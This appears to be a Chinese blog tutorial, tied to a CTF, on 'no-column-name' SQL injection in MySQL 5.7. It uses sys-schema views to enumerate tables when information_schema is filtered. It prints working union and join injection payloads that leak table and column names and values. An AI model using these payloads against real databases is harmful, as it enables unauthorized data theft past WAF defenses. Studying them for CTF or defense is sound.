zoukankan      html  css  js  c++  java
  • 无列名注入

    写在前边

      又是没有梦想的一天。。。这里介绍一下无列名注入,要求mysql >= 5.7

      CTF题 https://www.cnblogs.com/Lee-404/p/12830910.html

    information_schema

      在 mysql => 5 的版本中存在库information_schema,记录着mysql中所有表的结构,通常,在mysql sqli中,我们会通过此库中的表去获取其他表的结构,即表名,列名等。但是这个库也会经常被WAF过滤。

    sys

      在mysql5.7增加了sys 系统数据库,通过这个库可以快速的了解系统的元数据信息这个库确实可以方便DBA发现数据库的很多信息,解决性能瓶颈都提供了巨大帮助,简单来说,当数据库版本是5.7,information_schema库被过滤时,可以利用sys这个库来读取数据

    测试

      新建一个库,里边有两张表

      我们都知道,一般注入我们都是在infromation_schema这个库里获取我们需要的

        猜数据库   

    select schema_name from information_schema.schemata

       

       猜某库的数据表

    select table_name from information_schema.tables where table_schema='数据库名'

      

      猜某表的所有列

    Select column_name from information_schema.columns where table_name='数据表名'

        

       获取某列的内容

    Select  字段名 from 数据表

       这是我们一般的注入流程,但当information_schema被过滤,mysql又是5.7时,我们可以利用sys库来获取信息

      

      先了解一下比较重要的视图

        sys.schema_auto_increment_columns

      在设计表中,一般会给一些字段添加自增,如果是,那么这个视图下保存的就是那些有自增字段表的数据库的信息

      security是sqli-libs的数据库,test库中的test表是我自己建的,其中id字段为自增,可以在不使用information_schema的情况下读取信息

    select table_schema from sys.schema_auto_increment_columns;  //查数据库

     select table_name from sys.schema_auto_increment_columns where table_schema = 'test';  //查表

       和infromation_schema一样的效果

    schema_table_statistics_with_buffer,x$schema_table_statistics_with_buffer

      当表不存在自增字段时可以利用这两个视图查询,在user表中我没设自增字段

      当然还有其他的视图可以,具体利用方法和上述差不多

    绕过information_schema无列名注入

        经过上述的,似乎只能得到表名,没有完整的字段名,也就是说,我们无法获取字段值,这时候就可以利用无列名注入,我这里直接本地测试了(环境懒得搭,假装过滤了)

        1.获取字段数,用order by 或 group by

        2.union联合查询

    select * from user where id = -1 union all select 1,2,3,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database();

         3.利用join获取列名(join在CTF中经常使用的思路)

    select * from user where id = -1 union all select * from (select * from user as a join user as b)as c;

        

        4.获取更多字段名和字段值

     select * from user where id = -1 union all select*from (select * from user as a join user b using(id,username,passwd,phone))c;

     

    参考链接

      https://www.anquanke.com/post/id/193512 

    如有错误和不足请评论联系指出,谢谢

  • 相关阅读:
    强行拉取git分支到覆盖到本地
    提交git报错:rejected non fast forward
    表单验证
    获取ipv6转换ipv4
    使用js获取外网ip
    --打坐篇-学习的一些笔记-03--
    --心法篇-《我和我的Angular》-01-学习笔记--
    --打坐篇-学习的一些笔记-02--
    --打坐篇-学习的一些笔记-01--
    --前端派-练功房-01-关于this指向的一些案例补充--
  • 原文地址:https://www.cnblogs.com/Lee-404/p/12833788.html
Copyright © 2011-2022 走看看